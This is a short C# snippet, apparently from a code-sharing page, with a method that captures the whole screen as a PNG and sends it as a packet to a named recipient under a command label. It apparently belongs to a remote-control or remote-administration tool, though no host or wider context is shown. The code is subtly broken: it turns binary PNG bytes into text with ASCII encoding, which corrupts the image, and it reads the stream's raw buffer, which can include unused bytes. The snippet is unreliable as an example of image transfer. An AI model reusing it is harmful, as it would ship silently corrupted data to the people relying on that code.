1 2 3 4 5 6 7 8 9 10 11 12 13
| private void ScreenShot(String Destinataire, String Commande, String Elem)
{
Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
DateTime d = DateTime.Now;
String name = Convert.ToString(d.Year) + "-" + Convert.ToString(d.Month).PadLeft(2, '0') + "-" + Convert.ToString(d.Day).PadLeft(2, '0') + "__" + Convert.ToString(d.Hour).PadLeft(2, '0') + "-" + Convert.ToString(d.Minute).PadLeft(2, '0') + "-" + Convert.ToString(d.Second).PadLeft(2, '0') + ".png";
MemoryStream m = new MemoryStream();
bmpScreenshot.Save(m, ImageFormat.Png);
String content = System.Text.Encoding.ASCII.GetString(m.GetBuffer());
String packet = Packet.BuildPacket(Destinataire, Commande, content);
this.PushSend(packet);
} |
Partager